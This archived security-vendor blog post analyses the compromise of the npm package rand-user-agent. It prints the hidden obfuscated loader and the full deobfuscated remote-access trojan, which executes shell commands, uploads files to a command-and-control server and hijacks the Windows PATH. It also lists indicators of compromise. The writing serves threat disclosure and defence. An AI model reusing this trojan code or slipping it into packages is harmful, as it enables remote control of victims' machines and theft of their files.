{
	"id": "83ce3828-53ff-4722-bcf1-d92f66075566",
	"created_at": "2026-04-06T00:07:25.815963Z",
	"updated_at": "2026-04-10T03:37:58.971239Z",
	"deleted_at": null,
	"sha1_hash": "6740ee22413fa74df644d1595e6e48f32a16e90e",
	"title": "RATatouille: A Malicious Recipe Hidden in rand-user-agent (Supply Chain Compromise)",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 2724293,
	"plain_text": "RATatouille: A Malicious Recipe Hidden in rand-user-agent\r\n(Supply Chain Compromise)\r\nBy Charlie Eriksen\r\nPublished: 2025-05-06 · Archived: 2026-04-05 20:23:55 UTC\r\nPublished on:\r\n2025-05-06 6:55 pm\r\nOn 5 May, 16:00 GMT+0, our automated malware analysis pipeline detected a suspicious package released,\r\nrand-user-agent@1.0.110 . It detected unusual code in the package, and it wasn’t wrong. It detected signs of a\r\nsupply chain attack against this legitimate package, which has about ~45.000 weekly downloads. \r\nWhat is the package?\r\nThe package `rand-user-agent` generates randomized real user-agent strings based on their frequency of\r\noccurrence. It’s maintained by the company WebScrapingAPI (https://www.webscrapingapi.com/).\r\nWhat did we detect?\r\nOur analysis engine detected suspicious code in the file dist/index.js. Lets check it out, here seen through the code\r\nview on npm’s site:\r\nHidden code via scroll bar in rand-user-agent\r\nhttps://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nPage 1 of 14\n\nDo you notice something funny? See that scroll bar at the bottom? Damn, they did it again. They tried to hide the\r\ncode. Here’s what it is trying to hide, prettified:\r\nglobal[\"_V\"] = \"7-randuser84\";\r\nglobal[\"r\"] = require;\r\nvar a0b, a0a;\r\n(function () {\r\n var siM = \"\",\r\n mZw = 357 - 346;\r\n function pHg(l) {\r\n var y = 2461180;\r\n var i = l.length;\r\n var x = [];\r\n for (var v = 0; v \u003c i; v++) {\r\n x[v] = l.charAt(v);\r\n }\r\n for (var v = 0; v \u003c i; v++) {\r\n var h = y * (v + 179) + (y % 18929);\r\n var w = y * (v + 658) + (y % 13606);\r\n var s = h % i;\r\n var f = w % i;\r\n var j = x[s];\r\n x[s] = x[f];\r\n x[f] = j;\r\n y = (h + w) % 5578712;\r\n }\r\n return x.join(\"\");\r\n }\r\n var Rjb = pHg(\"thnoywfmcbxturazrpeicolsodngcruqksvtj\").substr(0, mZw);\r\n var Abp =\r\n 'e;s(Avl0\"=9=.u;ri+t).n5rwp7u;de(j);m\"[)r2(r;ttozix+z\"=2vf6+*tto,)0([6gh6;+a,k qsb a,d+,o-24brC4C=g1,;(hnn,o\r\n var QbC = pHg[Rjb];\r\n var duZ = \"\";\r\n var yCZ = QbC;\r\n var pPW = QbC(duZ, pHg(Abp));\r\n var fqw = pPW(\r\n pHg(\r\n ']W.SJ\u0026)19P!.)]bq_1m1U4(r!)1P8)Pfe4(;0_4=9P)Kr0PPl!v\\/P\u003ct(mt:x=P}c)]PP_aPJ2a.d}Z}P9]r8=f)a:eI1[](,8t,VP).a\r\n ),\r\n );\r\n var zlJ = yCZ(siM, fqw);\r\n zlJ(5164);\r\n return 8268;\r\n})();\r\nYep, that looks bad. This is obviously not meant to be there.\r\nhttps://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nPage 2 of 14\n\nHow did the code get there?\r\nIf we look at the GitHub repository for the project, we see that the last commit was 7 months ago when version\r\n2.0.82 was released.\r\nGitHub Screenshot from Rand-user-agent\r\nIf we look at the npm version history, we see something odd. There has been multiple releases since then:\r\nSo the last release, according to GitHub should be 2.0.82 . And if we inspect the packages since then, they all\r\nhave this malicious code in them. A clear case of a supply chain attack. \r\nThe malicious payload\r\nThe payload is quite obfuscated, using multiple layers of obfuscation to hide. But here’s the final payload that you\r\nwill eventually find:\r\nglobal['_H2'] = ''\r\nglobal['_H3'] = ''\r\n;(async () =\u003e {\r\n const c = global.r || require,\r\n d = c('os'),\r\nhttps://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nPage 3 of 14\n\nf = c('path'),\r\n g = c('fs'),\r\n h = c('child_process'),\r\n i = c('crypto'),\r\n j = f.join(d.homedir(), '.node_modules')\r\n if (typeof module === 'object') {\r\n module.paths.push(f.join(j, 'node_modules'))\r\n } else {\r\n if (global['_module']) {\r\n global['_module'].paths.push(f.join(j, 'node_modules'))\r\n }\r\n }\r\n async function k(I, J) {\r\n return new global.Promise((K, L) =\u003e {\r\n h.exec(I, J, (M, N, O) =\u003e {\r\n if (M) {\r\n L('Error: ' + M.message)\r\n return\r\n }\r\n if (O) {\r\n L('Stderr: ' + O)\r\n return\r\n }\r\n K(N)\r\n })\r\n })\r\n }\r\n function l(I) {\r\n try {\r\n return c.resolve(I), true\r\n } catch (J) {\r\n return false\r\n }\r\n }\r\n const m = l('axios'),\r\n n = l('socket.io-client')\r\n if (!m || !n) {\r\n try {\r\n const I = {\r\n stdio: 'inherit',\r\n windowsHide: true,\r\n }\r\n const J = {\r\n stdio: 'inherit',\r\n windowsHide: true,\r\n }\r\n if (m) {\r\nhttps://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nPage 4 of 14\n\nawait k('npm --prefix \"' + j + '\" install socket.io-client', I)\r\n } else {\r\n await k('npm --prefix \"' + j + '\" install axios socket.io-client', J)\r\n }\r\n } catch (K) {\r\n console.log(K)\r\n }\r\n }\r\n const o = c('axios'),\r\n p = c('form-data'),\r\n q = c('socket.io-client')\r\n let r,\r\n s,\r\n t = { M: P }\r\n const u = d.platform().startsWith('win'),\r\n v = d.type(),\r\n w = global['_H3'] || 'http://85.239.62[.]36:3306',\r\n x = global['_H2'] || 'http://85.239.62[.]36:27017'\r\n function y() {\r\n return d.hostname() + '$' + d.userInfo().username\r\n }\r\n function z() {\r\n const L = i.randomBytes(16)\r\n L[6] = (L[6] \u0026 15) | 64\r\n L[8] = (L[8] \u0026 63) | 128\r\n const M = L.toString('hex')\r\n return (\r\n M.substring(0, 8) +\r\n '-' +\r\n M.substring(8, 12) +\r\n '-' +\r\n M.substring(12, 16) +\r\n '-' +\r\n M.substring(16, 20) +\r\n '-' +\r\n M.substring(20, 32)\r\n )\r\n }\r\n function A() {\r\n const L = { reconnectionDelay: 5000 }\r\n r = q(w, L)\r\n r.on('connect', () =\u003e {\r\n console.log('Successfully connected to the server')\r\n const M = y(),\r\n N = {\r\n clientUuid: M,\r\n processId: s,\r\nhttps://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nPage 5 of 14\n\nosType: v,\r\n }\r\n r.emit('identify', 'client', N)\r\n })\r\n r.on('disconnect', () =\u003e {\r\n console.log('Disconnected from server')\r\n })\r\n r.on('command', F)\r\n r.on('exit', () =\u003e {\r\n process.exit()\r\n })\r\n }\r\n async function B(L, M, N, O) {\r\n try {\r\n const P = new p()\r\n P.append('client_id', L)\r\n P.append('path', N)\r\n M.forEach((R) =\u003e {\r\n const S = f.basename(R)\r\n P.append(S, g.createReadStream(R))\r\n })\r\n const Q = await o.post(x + '/u/f', P, { headers: P.getHeaders() })\r\n Q.status === 200\r\n ? r.emit(\r\n 'response',\r\n 'HTTP upload succeeded: ' + f.basename(M[0]) + ' file uploaded\\n',\r\n O\r\n )\r\n : r.emit(\r\n 'response',\r\n 'Failed to upload file. Status code: ' + Q.status + '\\n',\r\n O\r\n )\r\n } catch (R) {\r\n r.emit('response', 'Failed to upload: ' + R.message + '\\n', O)\r\n }\r\n }\r\n async function C(L, M, N, O) {\r\n try {\r\n let P = 0,\r\n Q = 0\r\n const R = D(M)\r\n for (const S of R) {\r\n if (t[O].stopKey) {\r\n r.emit(\r\n 'response',\r\n 'HTTP upload stopped: ' +\r\nhttps://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nPage 6 of 14\n\nP +\r\n ' files succeeded, ' +\r\n Q +\r\n ' files failed\\n',\r\n O\r\n )\r\n return\r\n }\r\n const T = f.relative(M, S),\r\n U = f.join(N, f.dirname(T))\r\n try {\r\n await B(L, [S], U, O)\r\n P++\r\n } catch (V) {\r\n Q++\r\n }\r\n }\r\n r.emit(\r\n 'response',\r\n 'HTTP upload succeeded: ' +\r\n P +\r\n ' files succeeded, ' +\r\n Q +\r\n ' files failed\\n',\r\n O\r\n )\r\n } catch (W) {\r\n r.emit('response', 'Failed to upload: ' + W.message + '\\n', O)\r\n }\r\n }\r\n function D(L) {\r\n let M = []\r\n const N = g.readdirSync(L)\r\n return (\r\n N.forEach((O) =\u003e {\r\n const P = f.join(L, O),\r\n Q = g.statSync(P)\r\n Q \u0026\u0026 Q.isDirectory() ? (M = M.concat(D(P))) : M.push(P)\r\n }),\r\n M\r\n )\r\n }\r\n function E(L) {\r\n const M = L.split(':')\r\n if (M.length \u003c 2) {\r\n const R = {}\r\n return (\r\nhttps://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nPage 7 of 14\n\n(R.valid = false),\r\n (R.message = 'Command is missing \":\" separator or parameters'),\r\n R\r\n )\r\n }\r\n const N = M[1].split(',')\r\n if (N.length \u003c 2) {\r\n const S = {}\r\n return (\r\n (S.valid = false), (S.message = 'Filename or destination is missing'), S\r\n )\r\n }\r\n const O = N[0].trim(),\r\n P = N[1].trim()\r\n if (!O || !P) {\r\n const T = {}\r\n return (\r\n (T.valid = false), (T.message = 'Filename or destination is empty'), T\r\n )\r\n }\r\n const Q = {}\r\n return (Q.valid = true), (Q.filename = O), (Q.destination = P), Q\r\n }\r\n function F(L, M) {\r\n if (!M) {\r\n const O = {}\r\n return (\r\n (O.valid = false),\r\n (O.message = 'User UUID not provided in the command.'),\r\n O\r\n )\r\n }\r\n if (!t[M]) {\r\n const P = {\r\n currentDirectory: __dirname,\r\n commandQueue: [],\r\n stopKey: false,\r\n }\r\n }\r\n const N = t[M]\r\n N.commandQueue.push(L)\r\n G(M)\r\n }\r\n async function G(L) {\r\n let M = t[L]\r\n while (M.commandQueue.length \u003e 0) {\r\n const N = M.commandQueue.shift()\r\nhttps://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nPage 8 of 14\n\nlet O = ''\r\n if (N.startsWith('cd')) {\r\n const P = N.slice(2).trim()\r\n try {\r\n process.chdir(M.currentDirectory)\r\n process.chdir(P || '.')\r\n M.currentDirectory = process.cwd()\r\n } catch (Q) {\r\n O = 'Error: ' + Q.message\r\n }\r\n } else {\r\n if (N.startsWith('ss_upf') || N.startsWith('ss_upd')) {\r\n const R = E(N)\r\n if (!R.valid) {\r\n O = 'Invalid command format: ' + R.message + '\\n'\r\n r.emit('response', O, L)\r\n continue\r\n }\r\n const { filename: S, destination: T } = R\r\n M.stopKey = false\r\n O = ' \u003e\u003e starting upload\\n'\r\n if (N.startsWith('ss_upf')) {\r\n B(y(), [f.join(process.cwd(), S)], T, L)\r\n } else {\r\n N.startsWith('ss_upd') \u0026\u0026 C(y(), f.join(process.cwd(), S), T, L)\r\n }\r\n } else {\r\n if (N.startsWith('ss_dir')) {\r\n process.chdir(__dirname)\r\n M.currentDirectory = process.cwd()\r\n } else {\r\n if (N.startsWith('ss_fcd')) {\r\n const U = N.split(':')\r\n if (U.length \u003c 2) {\r\n O = 'Command is missing \":\" separator or parameters'\r\n } else {\r\n const V = U[1]\r\n process.chdir(V)\r\n M.currentDirectory = process.cwd()\r\n }\r\n } else {\r\n if (N.startsWith('ss_stop')) {\r\n M.stopKey = true\r\n } else {\r\n try {\r\n const W = {\r\n cwd: M.currentDirectory,\r\nhttps://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nPage 9 of 14\n\nwindowsHide: true,\r\n }\r\n const X = W\r\n if (u) {\r\n try {\r\n const Y = f.join(\r\n process.env.LOCALAPPDATA ||\r\n f.join(d.homedir(), 'AppData', 'Local'),\r\n 'Programs\\\\Python\\\\Python3127'\r\n ),\r\n Z = { ...process.env }\r\n Z.PATH = Y + ';' + process.env.PATH\r\n X.env = Z\r\n } catch (a0) {}\r\n }\r\n h.exec(N, X, (a1, a2, a3) =\u003e {\r\n let a4 = '\\n'\r\n a1 \u0026\u0026 (a4 += 'Error executing command: ' + a1.message)\r\n a3 \u0026\u0026 (a4 += 'Stderr: ' + a3)\r\n a4 += a2\r\n a4 += M.currentDirectory + '\u003e '\r\n r.emit('response', a4, L)\r\n })\r\n } catch (a1) {\r\n O = 'Error executing command: ' + a1.message\r\n }\r\n }\r\n }\r\n }\r\n }\r\n }\r\n O += M.currentDirectory + '\u003e '\r\n r.emit('response', O, L)\r\n }\r\n }\r\n function H() {\r\n s = z()\r\n A(s)\r\n }\r\n H()\r\n})()\r\nWe’ve got a RAT (Remote Access Trojan) on our hands. Here’s an overview of it:\r\nBehavior Overview\r\nhttps://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nPage 10 of 14\n\nThe script sets up a covert communication channel with a command-and-control (C2) server using socket.io-client , while exfiltrating files via axios to a second HTTP endpoint. It dynamically installs these modules if\r\nmissing, hiding them in a custom .node_modules folder under the user's home directory.\r\n C2 Infrastructure\r\nSocket Communication: http://85.239.62[.]36:3306\r\nFile Upload Endpoint: http://85.239.62[.]36:27017/u/f\r\nOnce connected, the client sends its unique ID (hostname + username), OS type, and process ID to the server.\r\nCapabilities\r\nHere’s a list of capabilities(Commands) that the RAT supports.\r\n| Command | Purpose |\r\n| --------------- | ------------------------------------------------------------- |\r\n| cd | Change current working directory |\r\n| ss_dir | Reset directory to script’s path |\r\n| ss_fcd:\u003cpath\u003e | Force change directory to \u003cpath\u003e |\r\n| ss_upf:f,d | Upload single file f to destination d |\r\n| ss_upd:d,dest | Upload all files under directory d to destination dest |\r\n| ss_stop | Sets a stop flag to interrupt current upload process |\r\n| Any other input | Treated as a shell command, executed via child_process.exec() |\r\nBackdoor: Python3127 PATH Hijack\r\nOne of the more subtle features of this RAT is its use of a Windows-specific PATH hijack, aimed at quietly\r\nexecuting malicious binaries under the guise of Python tooling.\r\nThe script constructs and prepends the following path to the PATH environment variable before executing shell\r\ncommands:\r\n%LOCALAPPDATA%\\Programs\\Python\\Python3127\r\nBy injecting this directory at the start of PATH , any command relying on environment-resolved executables (e.g.,\r\npython , pip, etc.) may be silently hijacked. This is particularly effective on systems where Python is already\r\nexpected to be available.\r\nconst Y = path.join(\r\n process.env.LOCALAPPDATA || path.join(os.homedir(), 'AppData', 'Local'),\r\n 'Programs\\\\Python\\\\Python3127'\r\n)\r\nenv.PATH = Y + ';' + process.env.PATH\r\nhttps://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nPage 11 of 14\n\nIndicators of Compromise\r\nAt this time, the only indicators we have are the malicious versions, which are:\r\n2.0.84\r\n1.0.110\r\n2.0.83\r\n| Usage | Endpoint | Protocol/Method |\r\n| ------------------ | ------------------------------- | -------------------------- |\r\n| Socket Connection | http://85.239.62[.]36:3306 | socket.io-client |\r\n| File Upload Target | http://85.239.62[.]36:27017/u/f | HTTP POST (multipart/form) |\r\nIf you have installed any of these packages, you can check if it has communicated with the C2\r\nLast updated on:\r\nJan 7, 2026\r\nSubscribe for threat news.\r\nTired of false positives?\r\nTry Aikido like 100k others.\r\nStart Now\r\nGet a personalized walkthrough\r\nTrusted by 100k+ teams\r\nBook Now\r\nScan your app for IDORs and real attack paths\r\nTrusted by 100k+ teams\r\nStart Scanning\r\nSee how AI pentests your app\r\nhttps://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nPage 12 of 14\n\nTrusted by 100k+ teams\r\nStart Testing\r\n•\r\nVulnerabilities \u0026 Threats\r\naxios compromised on npm: maintainer account hijacked, RAT deployed\r\nMalicious axios versions 1.14.1 and 0.30.4 were published via a hijacked maintainer account. A hidden\r\ndependency deploys a cross-platform RAT. Check if you are affected and remediate now.\r\n•\r\nVulnerabilities \u0026 Threats\r\nPopular telnyx package compromised on PyPI by TeamPCP\r\nThe popular telnyx packageon PyPI, used by big AI companies, has been compromised by TeamPCP\r\n•\r\nVulnerabilities \u0026 Threats\r\nCanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran\r\nCanisterWorm Gets Teeth: TeamPCP's Kubernetes Wiper Targets Iran\r\nGet secure now\r\nSecure your code, cloud, and runtime in one central system.\r\nFind and fix vulnerabilities fast automatically.\r\nNo credit card required | Scan results in 32secs.\r\nhttps://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nPage 13 of 14\n\nSource: https://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nhttps://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise\r\nPage 14 of 14",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.aikido.dev/blog/catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise"
	],
	"report_names": [
		"catching-a-rat-remote-access-trojian-rand-user-agent-supply-chain-compromise"
	],
	"threat_actors": [
		{
			"id": "63883709-27b5-4b65-9aac-c782780fbb28",
			"created_at": "2026-04-10T02:00:03.996704Z",
			"updated_at": "2026-04-10T02:00:03.996704Z",
			"deleted_at": null,
			"main_name": "TeamPCP",
			"aliases": [],
			"source_name": "MISPGALAXY:TeamPCP",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434045,
	"ts_updated_at": 1775792278,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/6740ee22413fa74df644d1595e6e48f32a16e90e.pdf",
		"text": "https://archive.orkl.eu/6740ee22413fa74df644d1595e6e48f32a16e90e.txt",
		"img": "https://archive.orkl.eu/6740ee22413fa74df644d1595e6e48f32a16e90e.jpg"
	}
}